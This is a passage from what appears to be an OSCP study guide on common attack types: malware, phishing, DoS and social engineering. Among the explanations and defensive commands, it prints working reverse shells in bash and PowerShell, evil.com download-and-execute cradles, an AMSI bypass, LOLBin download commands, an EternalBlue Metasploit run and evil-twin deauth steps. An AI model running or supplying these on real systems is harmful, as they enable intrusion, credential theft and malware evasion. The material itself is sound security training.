Domain 1Recon & ReportingCORE

Common Attack Types

Comprehensive coverage of common attack types including malware, phishing, DoS/DDoS, social engineering, and MITM attacks with practical examples and OSCP-relevant techniques.

Domain: Domain 1: Reconnaissance & Reporting•Updated: 2026-09-01
#malware#phishing#dos-ddos#social-engineering#mitm

Common Attack Types

OSCP Study Guide | Chapter 01, Topic 08

This topic covers the most prevalent attack types encountered in cybersecurity. While some (like DoS) are rarely tested on OSCP, others (like MITM and malware concepts) are critically important for the exam and real-world penetration testing.


Table of Contents

  1. Malware Types
  2. Phishing Types
  3. DoS / DDoS Attacks
  4. Social Engineering
  5. Man-in-the-Middle (MITM) Attacks
  6. OSCP Exam Relevance Matrix
  7. Practical Examples and Commands
  8. Lab Exercises
  9. Key Tools Reference
  10. Exam Tips
  11. Cross-References

1. Malware Types

Malware (malicious software) encompasses any program intentionally designed to cause disruption, steal data, or gain unauthorized access. Understanding malware is essential for OSCP because you are effectively deploying controlled malware during penetration tests (shells, backdoors, pivoting tools).

1.1 Malware Taxonomy Overview

mindmap
  root((Malware))
    Virus
      File Infector
      Boot Sector
      Macro Virus
    Worm
      Network Worm
      Email Worm
      Exploit Worm
    Trojan
      Backdoor
      RAT
      Downloader
    Ransomware
      Crypto
      Locker
      Scareware
    Rootkit
      User-mode
      Kernel-mode
      Bootloader
      Hypervisor
    Spyware
      Keylogger
      Screen Capture
      Info Stealer
    Botnet
      DDoS Bot
      Spam Bot
      Crypto Miner
    Fileless
      PowerShell
      WMI
      Macro-based
      Memory-only

1.2 Virus

A virus is a malicious program that attaches itself to a legitimate file or program and requires user action to execute and propagate.

Infection Mechanisms

Mechanism Description Example
File Infector Attaches to executable files (.exe, .dll) CIH (Chernobyl) virus
Boot Sector Infects MBR/VBR of storage media Stoned virus
Macro Virus Embeds in document macros (.doc, .xls) Melissa virus (1999)
Script-based Uses VBScript, JavaScript, or PowerShell Concept virus

Propagation Lifecycle

sequenceDiagram
    participant V as Virus Code
    participant H as Host File
    participant U as User
    participant S as System

    V->>H: Attach/embed code
    H->>U: Legitimate file appears normal
    U->>S: User executes infected file
    S->>V: Virus code runs
    V->>H: Infects other files on system
    V->>S: Executes payload
    V->>U: Spreads via email, USB, network shares

Detection Methods

Method How It Works Limitations
Signature-based Match known byte patterns Cannot detect zero-day
Heuristic Analyze code behavior patterns Higher false positive rate
Behavioral Monitor runtime actions Performance overhead
Sandboxing Execute in isolated environment Evasion techniques exist

OSCP Relevance

  • Macro-based viruses are directly relevant — you may encounter .docm or .xlsm files during client-side attacks.
  • Understanding virus behavior helps when analyzing malicious payloads delivered during exploitation.
  • The OSCP exam may present scenarios where you need to recognize malicious document behavior.

1.3 Worm

A worm is a standalone malware that self-replicates and spreads across networks without requiring user interaction or a host file.

Key Differences: Virus vs Worm

Feature Virus Worm
Host required Yes (attaches to file) No (standalone)
User action needed Yes (execute file) No (automatic)
Network propagation Indirect Direct
Speed of spread Slower Very fast
Resource consumption Lower Higher (self-replicating)

Self-Replication Mechanisms

flowchart TD
    W[Worm Executed] --> S1[Scan Local Network]
    S1 --> S2{Vulnerable Host Found?}
    S2 -->|Yes| E[Exploit Vulnerability]
    S2 -->|No| S3[Scan Next IP]
    E --> C{Exploit Success?}
    C -->|Yes| D[Deploy Copy]
    C -->|No| S3
    D --> R[New Worm Instance]
    R --> S1
    S3 --> S2

    style W fill:#FFCDD2,stroke:#B71C1C
    style D fill:#FFCDD2,stroke:#B71C1C
    style R fill:#FFCDD2,stroke:#B71C1C

Historical Worm Examples

Worm Year Exploit Used Impact
Morris Worm 1988 Multiple (fingerd, sendmail, rsh) First internet worm, crashed 10% of connected systems
ILOVEYOU 2000 Social engineering + VBScript Infected ~50M computers in 10 days, $10B+ damage
Conficker 2008 MS08-067 (SMB) Infected millions, created massive botnet
WannaCry 2017 EternalBlue (MS17-010, SMB) 200K+ systems in 150 countries, $4B+ damage
NotPetya 2017 EternalBlue + EternalRomance Disguised as ransomware, actually wiper malware
Storm Worm 2007 Email + DNS hijacking Created one of largest botnets

WannaCry Deep Dive (OSCP-Relevant)

WannaCry is particularly relevant because it exploited MS17-010, a vulnerability you will encounter on OSCP machines.

WannaCry Attack Chain:
├── Initial Infection: Phishing email or manual exploit
├── Primary Exploit: EternalBlue (CVE-2017-0147) — SMB Remote Code Execution
├── Secondary Exploit: EternalRomance (CVE-2017-0148) — SMB Authentication Bypass
├── Propagation: Scan random IPs + local network, exploit MS17-010
├── Lateral Movement: Psexec, WMI, WinRM
├── Payload: AES-128 + RSA-2048 encryption of files
├── Ransom: Bitcoin payment demand
└── Kill Switch: Domain name (discovered by Marcus Hutchins)

EternalBlue (MS17-010) — The OSCP Connection:

# This is the same exploit module used in OSCP labs
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.X
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.X
exploit

Detection and Prevention

Control Description
Network segmentation Limit worm’s ability to scan and spread
Patch management Close the vulnerabilities worms exploit
Firewall rules Block unnecessary SMB, RDP, and other worm vectors
IDS/IPS signatures Detect known worm propagation patterns
Endpoint detection Monitor for self-replicating behavior

1.4 Trojan

A Trojan (Trojan Horse) disguises itself as legitimate software but performs malicious actions when executed. Unlike viruses and worms, Trojans do not self-replicate.

Trojan Categories

Category Purpose Common Behavior
Backdoor Remote access Opens listening port, accepts commands
RAT (Remote Access Trojan) Full system control File management, keylogging, webcam, screen capture
Downloader Fetch additional malware Downloads and executes secondary payloads
Banking Trojan Financial theft Browser injection, credential harvesting
DDoS Trojan Botnet participation Participates in distributed attacks

Backdoor Creation Techniques

flowchart LR
    subgraph Disguise [Disguise Layer]
        A1["Legitimate-Looking Installer"]
        A2["Cracked Software"]
        A3["Game Mod / Cheat"]
    end

    subgraph Payload [Malicious Payload]
        B1["Reverse Shell"]
        B2["Bind Shell"]
        B3["C2 Beacon"]
    end

    A1 --> P[Package Together]
    A2 --> P
    A3 --> P
    P --> B1
    P --> B2
    P --> B3

    style B1 fill:#FFCDD2,stroke:#B71C1C
    style B2 fill:#FFCDD2,stroke:#B71C1C
    style B3 fill:#FFCDD2,stroke:#B71C1C

Common Disguise Techniques

Technique Description Example
Double extension file.jpg.exe (Windows hides .exe) Fake image that is actually an executable
Icon spoofing Malicious file uses legitimate icon .exe with Notepad icon
Bundling Legitimate installer + hidden payload Free software with bundled malware
Crack/Patch Software crack contains backdoor Cracked commercial software
Social engineering Convince user to disable AV “Disable antivirus to run this update”

OSCP-Relevant Trojan Concepts

  • Meterpreter is essentially a sophisticated RAT — understanding its capabilities maps directly to Trojan behavior.
  • Web shells are a form of backdoor Trojan deployed on web servers.
  • Reverse shells (nc, bash, PowerShell) are the simplest form of backdoor.
# Simple reverse shell — the most basic "Trojan backdoor"
# Attacker listener:
nc -lvnp 4444

# Target execution:
bash -i >& /dev/tcp/10.10.14.1/4444 0>&1

# PowerShell reverse shell:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$c=New-Object Net.Sockets.TCPClient('10.10.14.1',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$e=(iex $d 2>&1 | Out-String);$s.Write([text.Encoding]::ASCII.GetBytes($e),0,$e.Length)}"

1.5 Ransomware

Ransomware encrypts victim’s files and demands payment (usually cryptocurrency) for decryption.

Encryption Methods

Method Algorithm Key Length Strength
Symmetric only AES-256 256-bit Strong file encryption
Hybrid (most common) AES-256 + RSA-2048 256 + 2048 AES encrypts files, RSA encrypts AES key
Hybrid modern ChaCha20 + RSA-4096 256 + 4096 Even stronger
XOR-based (weak) XOR with repeating key Variable Easily reversible

Hybrid Encryption Flow (Used by WannaCry, Ryuk, etc.)

sequenceDiagram
    participant R as Ransomware
    participant F as Victim Files
    participant C as C2 Server

    R->>R: Generate random AES-256 key (session key)
    R->>R: Generate RSA-2048 key pair
    R->>F: Encrypt each file with AES-256 (session key)
    R->>R: Encrypt AES session key with RSA public key
    R->>R: Delete RSA private key
    R->>C: Send RSA-encrypted AES key to C2
    R->>F: Display ransom note
    Note over C: Only C2 holds the private key<br/>to decrypt the AES session key

Notable Ransomware Campaigns

Campaign Year Target Ransom Notable Feature
CryptoLocker 2013 Individuals $300-600 BTC First major ransomware, Gootkit dropper
WannaCry 2017 Global $300-600 BTC EternalBlue worm propagation
NotPetya 2017 Global (Ukraine origin) Fake ransom Actually a wiper, no decryption possible
Ryuk 2018+ Enterprises $50K-300K+ BTC Targeted, manual deployment, Cobalt Strike
REvil (Sodinokibi) 2019+ Enterprises Variable RaaS model, SolarWinds supply chain
LockBit 2019+ Enterprises Variable Double extortion, leak site
BlackCat (ALPHV) 2021+ Large enterprises Variable Rust-based, source code leaked

Propagation Methods

Method Description OSCP Relevance
Phishing email Malicious attachment or link High — initial access vector
RDP brute force Compromise exposed RDP Medium — credential attacks
Exploit kits Drive-by download via web vuln Medium — web exploitation
Supply chain Compromise trusted software Low for OSCP, high in real world
Lateral movement PsExec, WMI, SMB after initial access Very High — post-exploitation

OSCP Connection

While ransomware itself is not deployed during OSCP, understanding its mechanics is valuable:

  • Lateral movement techniques used by ransomware (PsExec, WMI) are core OSCP skills.
  • Credential dumping (mimikatz) is used by ransomware operators and is essential for OSCP.
  • Encryption concepts (AES, RSA) appear in cryptography questions.

1.6 Rootkit

A rootkit is malware designed to hide the presence of itself and other malware from detection, often at the kernel level.

Rootkit Classification by Layer

Layer Type Persistence Detection Difficulty Examples
Application User-mode rootkit Low Easy Hidden processes via API hooking
File System FSFilter rootkit Medium Medium Hidden files/directories
Kernel Kernel-mode rootkit High Hard DKOM (Direct Kernel Object Manipulation)
Bootloader Boot sector rootkit Very High Very Hard Loads before OS
Hypervisor VM-level rootkit Highest Nearly Impossible Controls entire VM
Firmware BIOS/UEFI rootkit Highest Nearly Impossible Mebroot, LoJax

Kernel-Level Hiding Techniques

flowchart TD
    subgraph DKOM [Direct Kernel Object Manipulation]
        E1["Remove process from<br/>EPROCESS linked list"]
        E2["Hide threads from<br/>ETHREAD structures"]
        E3["Hide devices from<br/>DEVICE_OBJECT list"]
    end

    subgraph SSDT [System Service Descriptor Table]
        H1["Hook NtQuerySystemInformation"]
        H2["Hook NtQueryDirectoryFile"]
        H3["Hook NtQueryVirtualMemory"]
    end

    subgraph IDT [Interrupt Descriptor Table]
        I1["Hook hardware interrupts"]
        I2["Redirect system calls"]
    end

    R[Rootkit Loaded] --> DKOM
    R --> SSDT
    R --> IDT

    style R fill:#FFCDD2,stroke:#B71C1C

Detection and Removal

Technique Tool What It Detects
Behavioral analysis Process Explorer, Process Hacker Unusual process behavior, hidden threads
Kernel scanning GMER, RootkitRevealer SSDT hooks, DKOM modifications
Memory forensics Volatility Hidden processes, injected code
Boot-time scan Kaspersky TDSSKiller, Malwarebytes Boot sector and kernel rootkits
Integrity checking System file checker (sfc) Modified system files
# Volatility — detect hidden processes
volatility -f memory_dump.raw --profile=Win7SP1x64 pslist
volatility -f memory_dump.raw --profile=Win7SP1x64 psscan
# Compare outputs — psscan finds processes hidden from pslist

# Check for SSDT hooks
volatility -f memory_dump.raw --profile=Win7SP1x64 sdshow

OSCP Relevance

  • Rootkit concepts help understand privilege escalation at the kernel level.
  • Linux kernel exploits (like dirty cow, overlayfs) share concepts with rootkit techniques.
  • Understanding rootkits aids in post-exploitation persistence techniques.

1.7 Spyware

Spyware secretly monitors user activity and collects sensitive information.

Data Collection Methods

Method Data Collected Implementation
Keylogging All keystrokes (passwords, messages) Keyboard hook API, driver-level interception
Screen capture Visual content, sensitive displays Desktop bitmap capture at intervals
Browser monitoring URLs, form data, cookies Browser extension, proxy interception
Clipboard monitoring Copied text, credentials Clipboard API hooking
Network sniffing Unencrypted traffic, credentials Packet capture, ARP poisoning
Microphone/Camera Audio, video Device API access

Keylogging Implementation (Technical)

Keylogger Layers:
├── Application-level (soft keylogger)
│   ├── SetWindowsHookEx(WH_KEYBOARD_LL)
│   ├── GetAsyncKeyState() polling
│   └── Limitation: Can be detected, doesn't capture admin console
├── Driver-level (hard keylogger)
│   ├── Keyboard class driver filter
│   ├── Direct hardware interrupt hook
│   └── Advantage: Captures all input, harder to detect
└── Network-level
    ├── ARP poisoning + packet capture
    ├── SSL stripping + MITM
    └── Captures credentials in transit

OSCP Relevance

  • Network-level keylogging via MITM attacks is directly applicable (see Section 5).
  • Credential harvesting from browser dumps is a post-exploitation technique.
  • Understanding spyware helps in data exfiltration scenarios.

1.8 Botnet

A botnet is a network of compromised machines (bots/zombies) controlled by a central operator (botmaster).

C2 (Command and Control) Infrastructure

Architecture Description Pros Cons
Client-Server Central C2 server Simple to implement Single point of failure
Peer-to-Peer (P2P) Distributed control Resilient, no single point Complex to coordinate
Hybrid Mix of both Balanced Moderate complexity

C2 Communication Channels

Channel Protocol Evasion Technique
HTTP/HTTPS Port 80/443 Blends with normal web traffic
DNS Port 53 DNS tunneling, DGA (Domain Generation Algorithm)
IRC Port 6667 Legacy but still used
P2P Various No central server to take down
Social Media Twitter, Telegram Legitimate platform abuse
Cloud Storage GitHub, Pastebin Dead drop resolvers

DDoS Usage from Botnets

flowchart TD
    B[Botmaster] -->|Commands| C1[C2 Server]
    C1 -->|Attack Order| Bot1[Bot 1]
    C1 -->|Attack Order| Bot2[Bot 2]
    C1 -->|Attack Order| Bot3[Bot 3]
    C1 -->|Attack Order| BotN[Bot N...]

    Bot1 -->|Traffic| T[Target]
    Bot2 -->|Traffic| T
    Bot3 -->|Traffic| T
    BotN -->|Traffic| T

    style B fill:#FFCDD2,stroke:#B71C1C
    style T fill:#FFCDD2,stroke:#B71C1C

Cryptocurrency Mining (Cryptojacking)

  • Botnets increasingly used for cryptomining rather than DDoS.
  • Coinhive (defunct) pioneered browser-based mining via JavaScript.
  • XMRig is the most common CPU miner for Monero.
  • Detection: Unusual CPU usage, network connections to mining pools.

Notable Botnets

Botnet Year Size Purpose
Morris Worm 1988 ~6,000 First internet worm
Zeus 2007 1M+ Banking theft, RaaS
Mirai 2016 600K+ IoT DDoS (230 Gbps record)
Emotet 2014 Unknown Trojan loader, now ransomware distributor
TrickBot 2018 Unknown Banking → ransomware pivot

1.9 Fileless Malware

Fileless malware operates entirely in memory without writing executable files to disk, making it extremely difficult to detect with traditional AV.

Execution Techniques

Technique Description Detection Challenge
PowerShell abuse Execute code via PowerShell -EncodedCommand No file on disk, legitimate tool
WMI (Windows Management Instrumentation) Remote execution via WMI events Legitimate admin tool
Macro-based Office document macro downloads payload User must enable macros
Living-off-the-Land (LotL) Use built-in tools (certutil, bitsadmin, mshta) All tools are signed Microsoft binaries
DLL sideloading Load malicious DLL via legitimate app Legitimate process, malicious code
Process injection Inject code into legitimate process Code runs in trusted process context

PowerShell Fileless Malware Example

# Stage 1: Download cradle (no file written to disk)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"

# Stage 2: Encoded command (obfuscated)
powershell -EncodedCommand JABjAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQAuAFMA...

# Stage 3: Memory-only execution
powershell -Command "$proc = [System.Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData('http://evil.com/assembly.dll')); $proc.EntryPoint.Invoke($null, @())"

# Stage 4: AMSI bypass + execution
powershell -Command "
    # Bypass AMSI
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);
    # Download and execute in memory
    IEX (New-Object Net.WebClient).DownloadString('http://evil.com/malware.ps1')
"

Living-off-the-Land Binaries (LOLBins)

Binary Path Abuse Method
certutil %windir%\system32\certutil.exe Download files: certutil -urlcache -split -f http://evil.com/payload
bitsadmin %windir%\system32\bitsadmin.exe Download + execute: bitsadmin /transfer ... /run
mshta %windir%\system32\mshta.exe Execute HTML applications: mshta http://evil.com/malicious.hta
rundll32 %windir%\system32\rundll32.exe Load DLLs: rundll32.exe javascript:...
regsvr32 %windir%\system32\regsvr32.exe Load DLLs with SCT scripts
cmstp %windir%\system32\cmstp.exe Install connection templates (bypasses AppLocker)
mavinject %windir%\system32\mavinject.exe Inject code into processes (Windows 10 2004+)
wbadmin %windir%\system32\wbadmin.exe Execute commands via backup feature

Detection of Fileless Malware

Method Tool What It Detects
AMSI (Antimalware Scan Interface) Built into Windows 10+ Scans PowerShell scripts before execution
Script Block Logging Event ID 4104 Logs all PowerShell script blocks
Sysmon Event IDs 1, 3, 10 Process creation, network connections, image loading
Memory forensics Volatility, DumpIt Memory-resident code, injected DLLs
EDR solutions CrowdStrike, SentinelOne Behavioral analysis, anomaly detection

OSCP Relevance — CRITICAL

Fileless malware techniques are extremely relevant to OSCP:

  • PowerShell is your primary tool for Windows post-exploitation.
  • Encoded commands are used to bypass basic filtering.
  • LOLBins are used for file downloads and execution.
  • WMI is used for lateral movement.
  • Understanding these helps with AV evasion (Module 11).
# OSCP-relevant fileless techniques

# Download file using certutil (no third-party tools needed)
certutil -urlcache -split -f http://10.10.14.1/revshell.exe revshell.exe

# Execute PowerShell from base64 (common in OSCP)
powershell -enc <base64_encoded_command>

# WMI lateral movement
wmic /node:TARGET process call create "powershell -enc <encoded>"

# Remote PowerShell (if WinRM enabled)
Invoke-Command -ComputerName TARGET -ScriptBlock { whoami }

1.10 Malware Comparison Summary

Type Self-Replicates User Action Needed Hides Itself OSCP Relevance
Virus No (needs host) Yes Sometimes Low-Medium
Worm Yes No Sometimes Medium (MS17-010)
Trojan No Yes Sometimes High (backdoors, shells)
Ransomware Sometimes Yes No Medium (concepts)
Rootkit No Yes Yes (primary goal) Medium
Spyware No Yes Yes Low-Medium
Botnet Yes (recruits) Yes Yes Low
Fileless No Yes Yes (memory-only) Very High

2. Phishing Types

Phishing is the practice of sending deceptive communications to trick victims into revealing sensitive information or executing malicious actions. It is the #1 initial access vector in real-world attacks and appears in OSCP scenarios.

2.1 Phishing Attack Taxonomy

mindmap
  root((Phishing))
    Email Phishing
      Bulk/Spray
      Attachment-based
      Link-based
    Spear Phishing
      Targeted research
      Personalized content
    Whaling
      Executive targeting
      High-value accounts
    Vishing
      Phone calls
      Urgency tactics
    Smishing
      SMS messages
      Short URL links
    Evil Twin
      Rogue WiFi AP
      Credential capture
    Watering Hole
      Site compromise
      Drive-by download
    Clone Phishing
      Resent legitimate email
      Modified payload
    Harvest Phishing
      Fake login page
      Credential theft

2.2 Email Phishing

The most common form of phishing, sent in bulk to large numbers of recipients.

Crafting a Deceptive Email

Component Technique Example
Subject line Urgency, curiosity, fear “URGENT: Your account will be suspended”
Sender address Spoofing, lookalike domains support@paypa1.com (number 1 instead of l)
Greeting Generic or slightly personalized “Dear Customer” or “Dear John”
Body text Professional tone, corporate branding Mimic company email templates
Call to action Click link or open attachment “Click here to verify your account”
Signature Fake corporate signature Fake name, title, company logo

Common Attachment Types

Attachment Extension Risk Execution Method
Macro-enabled document .docm, .xlsm, .pptm Critical User enables macros
Embedded object .doc, .xls with OLE High Click embedded object
Script file .js, .vbs, .wsf Critical Double-click execution
Archive with payload .zip, .rar, .7z High Extract and run
HTA file .hta Critical Auto-executes in MSHTA
SCF file .scf High Icon extraction triggers SMB auth
LNK file .lnk High Shortcut with malicious command
ISO/Disk image .iso Medium AutoPlay or manual mount

Email Header Analysis

From: "IT Support" <support@company-update.com>
Reply-To: it-support@company.com
Subject: URGENT: Password Expiry Notice
X-Mailer: Microsoft Outlook 16.0
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_Part_001"

# Red flags:
# - From domain doesn't match company domain
# - Reply-To different from From
# - Generic mailer (not corporate MTA)
# - Urgency in subject line

2.3 Spear Phishing

Spear phishing targets a specific individual or organization with highly personalized content.

Research Techniques (OSINT for Phishing)

Source Information Gathered Tool
LinkedIn Job title, education, connections, interests Manual, linkedin-parser
Twitter/X Personal interests, recent activities Manual, Twint
Company website Org chart, team pages, news Manual
GitHub Code, projects, email addresses GitHub search
Conference talks Speaking engagements, topics Conference websites
Data breaches Email addresses, passwords Have I Been Pwned

Personalization Techniques

Technique Description Effectiveness
Name + title Use victim’s real name and position High
Internal references Reference real projects, meetings Very High
Colleague names Mention real coworkers High
Company jargon Use internal terminology High
Timing Send during relevant events Very High
Reply chain Hijack real email thread Critical

2.4 Whaling

Whaling targets senior executives (C-level, VPs, board members).

Why Whaling Works

Factor Explanation
High-value accounts Executives have access to sensitive data and systems
Busy schedules Less time to verify suspicious requests
Assumed authority Emails appearing from board members are trusted
Assistant handling Executive assistants may process emails without scrutiny
Large financial authority Can authorize wire transfers and payments

Common Whaling Scenarios

Scenario Description
CEO Fraud Fake email from CEO requesting urgent wire transfer
Legal threat Fake legal document requiring immediate action
Board communication Fake board meeting materials with malicious attachment
M&A documents Fake merger/acquisition documents

2.5 Vishing and Smishing

Vishing (Voice Phishing)

Technique Description
Fake IT support “This is Microsoft Support, your computer is infected”
Bank impersonation “Your bank account is compromised, verify your details”
Social Security fraud “Your SSN has been compromised, act now”
Pretext calling “I’m from HR, need to verify your direct deposit info”

Smishing (SMS Phishing)

Technique Description
Delivery notification “Your package couldn’t be delivered, click to reschedule”
Account alert “Unusual activity on your account, verify now”
Prize notification “You’ve won a prize, claim it here”
2FA code request “Your verification code is 123456” (social engineering)

2.6 Evil Twin

An Evil Twin attack creates a rogue WiFi access point that mimics a legitimate network.

Setup Process

sequenceDiagram
    participant A as Attacker
    participant AP as Rogue AP (Evil Twin)
    participant V as Victim
    participant L as Legitimate AP
    participant C as Credential Server

    A->>AP: Configure rogue AP with same SSID
    A->>AP: Set higher signal strength / deauth legit
    L->>V: Legitimate beacon (weaker)
    AP->>V: Rogue beacon (stronger)
    V->>AP: Connect to rogue AP
    AP->>V: Serve captive portal (fake login)
    V->>AP: Enter credentials
    AP->>C: Forward credentials to attacker
    AP->>V: Proxy legitimate traffic (optional)

Technical Implementation

# Using airbase-ng (part of aircrack-ng suite)
# Step 1: Put interface in monitor mode
airmon-ng start wlan0

# Step 2: Create rogue AP
airbase-ng -e "CorporateWiFi" -c 6 wlan0mon

# Step 3: Configure DHCP on the created interface
atftpd --daemon --port 69 /tftpboot
dnsmasq --interface at0 --dhcp-range 10.0.0.10,10.0.0.100,255.255.255.0 --dhcp-option 3,10.0.0.1 --dhcp-option 6,10.0.0.1

# Step 4: Deauthenticate victims from legitimate AP (optional)
aireplay-ng -0 5 -a <BSSID_of_legit_AP> wlan0mon

# Step 5: Capture credentials with a fake login page
python3 -m http.server 80 --directory /var/www/captive-portal

2.7 Watering Hole

A Watering Hole attack compromises websites frequently visited by the target group.

Attack Flow

flowchart LR
    subgraph Research [Phase 1: Research]
        R1["Identify target group"]
        R2["Find frequently visited sites"]
    end

    subgraph Compromise [Phase 2: Compromise]
        C1["Exploit website vulnerability"]
        C2["Inject malicious code"]
    end

    subgraph Delivery [Phase 3: Delivery]
        D1["Victit visits compromised site"]
        D2["Malicious code executes"]
        D3["Payload delivered to victim"]
    end

    R1 --> R2 --> C1 --> C2 --> D1 --> D2 --> D3

    style C1 fill:#FFCDD2,stroke:#B71C1C
    style D2 fill:#FFCDD2,stroke:#B71C1C

Site Compromise Techniques

Technique Description
SQL Injection Inject malicious JavaScript via stored XSS
File Upload Upload web shell, serve malware
CMS Plugin Exploit Exploit vulnerable plugin/theme
Server-Side Template Injection Inject malicious templates
Supply Chain Compromise CDN or third-party library

2.8 Phishing and OSCP Initial Access

Phishing concepts are directly applicable to OSCP in several ways:

OSCP Scenario Phishing Connection
Client-side attacks Crafting malicious documents (like phishing attachments)
SMB/LLMNR poisoning Similar to credential harvesting from phishing
Web application exploitation Watering hole concept — exploit web app to gain access
Email server exploitation Accessing email data for reconnaissance
Social-Engineer Toolkit (SET) Built-in phishing modules for credential harvesting

SET Phishing Module Example

# Social-Engineer Toolkit — Credential Harvester
setoolkit

# Select: Social-Engineering Attacks > Website Attack Vectors > 
# Credential Harvester Attack Method > Site Cloner

# SET will:
# 1. Clone the target website
# 2. Serve it on your machine
# 3. Capture all submitted credentials
# 4. Log credentials to a file

3. DoS / DDoS Attacks

Denial of Service (DoS) attacks aim to make a system or network unavailable. Distributed DoS (DDoS) uses multiple compromised systems to amplify the attack.

3.1 DoS Attack Classification

flowchart TD
    D[DoS/DDoS Attacks] --> L3[L3: Network Layer]
    D --> L4[L4: Transport Layer]
    D --> L7[L7: Application Layer]

    L3 --> IC[ICMP Flood / Ping of Death]
    L3 --> DA[DNS Amplification]

    L4 --> SF[SYN Flood]
    L4 --> UF[UDP Flood]
    L4 --> NF[NTP Amplification]

    L7 --> HF[HTTP Flood]
    L7 --> SL[Slowloris]
    L7 --> CF[CSV Injection / App Logic Abuse]

    style SF fill:#FFF3E0,stroke:#E65100
    style SL fill:#FFF3E0,stroke:#E65100
    style HF fill:#FFF3E0,stroke:#E65100

3.2 SYN Flood

A SYN Flood exploits the TCP three-way handshake by sending massive amounts of SYN packets without completing the handshake.

TCP Handshake Abuse

sequenceDiagram
    participant A as Attacker (Spoofed IPs)
    participant S as Server

    A->>S: SYN (IP: 1.2.3.4)
    S->>A: SYN-ACK (to 1.2.3.4)
    Note over A: No response (IP doesn't exist)
    S->>S: Half-open connection in queue

    A->>S: SYN (IP: 5.6.7.8)
    S->>A: SYN-ACK (to 5.6.7.8)
    Note over A: No response
    S->>S: Another half-open connection

    A->>S: SYN (IP: 9.10.11.12)
    S->>A: SYN-ACK (to 9.10.11.12)
    Note over S: Connection queue FULL
    Note over S: Legitimate connections REJECTED

Technical Details

Parameter Default (Linux) Impact
tcp_max_syn_backlog 2048 Max half-open connections
tcp_synack_retries 5 Retries before dropping
tcp_syncookies 0 (off) SYN cookie protection

SYN Cookies Mitigation

# Enable SYN cookies (Linux)
sysctl -w net.ipv4.tcp_syncookies=1

# How SYN cookies work:
# 1. Server encodes connection state into the sequence number
# 2. No kernel memory allocated for half-open connections
# 3. When client sends ACK, server decodes and validates
# 4. Only then does server allocate resources

3.3 UDP Flood

A UDP Flood overwhelms a target with UDP packets to random or specific ports.

Amplification Attacks

Protocol Amplification Factor Port Abuse Method
DNS Up to 54x 53 Small query → large response
NTP Up to 556x 123 monlist command abuse
Memcached Up to 51,000x 11211 Empty query → massive response
SSDP Up to 50x 1900 Simple service discovery
MQTT Up to 50x 1883 Message Queuing Telemetry
Redis Up to 10x 6379 Info command abuse

DNS Amplification Flow

sequenceDiagram
    participant A as Attacker
    participant D as Open DNS Resolver
    participant T as Target

    Note over A: Attacker spoofs source IP as Target
    A->>D: DNS Query (src IP = Target, small packet ~40 bytes)
    D->>T: DNS Response (large packet ~3000+ bytes)
    Note over T: Target overwhelmed by amplified traffic

3.4 HTTP Flood

An HTTP Flood sends massive amount of legitimate-looking HTTP requests to exhaust application resources.

Attack Variants

Variant Description Target Resource
GET Flood Massive GET requests Web server CPU, bandwidth
POST Flood Massive POST requests Application processing, database
Login Flood Repeated login attempts Authentication system
API Flood Expensive API calls Backend services, database

3.5 Slowloris

Slowloris keeps many connections open by sending partial HTTP requests slowly.

Attack Mechanism

sequenceDiagram
    participant A as Attacker (Slowloris)
    participant S as Web Server

    A->>S: GET / HTTP/1.1
    A->>S: Host: target.com
    Note over A: Pause... (don't send more)
    Note over S: Connection held open
    Note over A: Send header fragment after timeout
    A->>S: X-a: b
    Note over A: Pause again...
    A->>S: X-c: d
    Note over S: Connection still held
    Note over S: Server connection pool exhausted
    Note over S: Legitimate users cannot connect

Technical Details

Parameter Slowloris Behavior
Connections per attacker Hundreds to thousands
Bandwidth used Minimal (bytes per second)
Server impact Connection pool exhaustion
Detection difficulty High (looks like slow users)

Mitigation

Control Description
Connection timeout Reduce keep-alive timeout
Request rate limiting Limit requests per IP
Minimum data rate Require minimum bytes per second
Reverse proxy Use nginx/Apache as front-end with timeouts
CDN/WAF Offload to Cloudflare, AWS WAF

3.6 Why DoS is NOT Typically Tested in OSCP

Reason Explanation
Ethical concerns DoS can cause real damage to lab infrastructure
Scope OSCP focuses on exploitation and access, not disruption
Detection DoS is easily detected and would alert lab monitors
Grading DoS doesn’t demonstrate the skills OSCP evaluates
Exception DoS concepts may appear in theory questions

Important: Do NOT perform DoS attacks during the OSCP exam. Focus on exploitation, post-exploitation, and pivoting. Understanding DoS is for knowledge and defense purposes only.


4. Social Engineering

Social engineering exploits human psychology rather than technical vulnerabilities. It is the most effective attack vector in real-world scenarios.

4.1 Social Engineering Techniques

Pretexting

Creating a fabricated scenario to manipulate the target into complying.

Element Description Example
Scenario Plausible story “I’m from IT, need to verify your account”
Urgency Time pressure “This needs to be done immediately”
Authority Perceived power “Management requires this”
Detail Specific information Reference real projects, people, systems

Baiting

Offering something tempting to trigger the target’s curiosity or greed.

Type Description Real-World Example
USB drop Infected USB left in parking lot/reception “Salary Information 2024” USB drive
Software bait Free software with malware Cracked software, “free” games
Digital bait Malicious links in forums/social media “Leaked documents” links

Tailgating

Following an authorized person into a restricted area.

Technique Description
Polite follow “Excuse me, could you hold the door?”
Carrying items “These boxes are heavy, can you help?”
Disguise Wear similar uniform or badge
Emergency pretext “I have a meeting in 2 minutes, please!”

Quid Pro Quo

Offering a service or benefit in exchange for information or access.

Scenario Description
Fake tech support “I noticed your computer has issues, let me help”
Survey pretext “Quick survey for IT, just need your password to verify”
Free software offer “Let me install this free tool for you”

Impersonation

Pretending to be someone else to gain trust and access.

Type Description
Executive impersonation Pretend to be CEO/manager
Vendor impersonation Pretend to be IT vendor/contractor
Colleague impersonation Pretend to be a coworker
Authority figure Pretend to be law enforcement, auditor

4.2 Psychological Triggers

Trigger Description How Attackers Use It
